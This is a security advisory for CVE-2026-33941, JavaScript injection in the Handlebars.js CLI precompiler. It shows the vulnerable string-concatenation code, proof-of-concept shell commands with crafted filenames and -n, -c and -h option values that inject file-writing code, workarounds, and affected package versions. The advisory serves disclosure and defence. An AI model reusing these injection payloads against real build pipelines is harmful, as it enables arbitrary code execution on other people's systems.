CVE-2026-33941
Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options
Description
Summary
The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.
Description
lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:
1. Template name injection
// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';
template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.
2. Namespace injection (-n / --namespace)
// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';
opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.
3. CommonJS path injection (-c / --commonjs)
// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';
opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.
4. AMD path injection (-h / --handlebarPath)
// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";
opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.
All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.
Proof of Concept
Template name vector (creates a file pwned on disk):
mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"
node bin/handlebars templates -o out.js
node -e 'require("./out.js")' # Executes injected code, creates ./pwned
Namespace vector:
node bin/handlebars templates -o out.js \
-n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'
CommonJS vector:
node bin/handlebars templates -o out.js \
-c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'
AMD vector:
node bin/handlebars templates -o out.js -a \
-h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'
Workarounds
- Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (
",',;, etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
- Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
- Audit template filenames in any repository or package that is consumed by an automated build pipeline.
Affected Maven artifacts (3)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » handlebarsvia npm handlebars | >= 4.0.0, < 4.7.9 | 4.7.9 |
| org.webjars » handlebarsvia npm handlebars | >= 4.0.0, < 4.7.9 | 4.7.9 |
| org.webjars.npm » handlebarsvia npm handlebars | >= 4.0.0, < 4.7.9 | 4.7.9 |
Blast radius
55% of the dependent artifacts (25) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 57 |
| 2 hops | 124 |
| 3 hops | 80 |
| 4 hops | 11 |
Most used dependents
- ro.isdc.wro4j » wro4j-maven-plugin48 usages
- ro.isdc.wro4j » wro4j-extensions39 usages
- com.foreach.across.modules » admin-web-module21 usages
- net.aequologica.neo » geppaequo-tags15 usages
- com.evolveum.midpoint.gui » admin-gui10 usages
- com.foreach.across.modules » bootstrap-ui-module7 usages
- net.aequologica.neo » geppaequo-web7 usages
- org.webjars.npm » openlayers4 usages
- com.slyak » slyak-web3 usages
- org.geonetwork-opensource » gn-web-app2 usages
- com.foreach.imageserver » imageserver-admin2 usages
- org.webjars.npm » closure-util2 usages
- net.aequologica.neo » chat2 usages
- net.aequologica.neo » quintessence-web2 usages
- net.aequologica.neo » buildhub-persist2 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-33941 | nvd.nist.gov |
| Package | handlebars-lang/handlebars.js | github.com |
| Web | handlebars-lang/handlebars.js advisory GHSA-xjpj-3mr7-gcpf | github.com |
| Web | handlebars-lang/handlebars.js commit 68d8df5 | github.com |
| Web | handlebars-lang/handlebars.js release v4.7.9 | github.com |
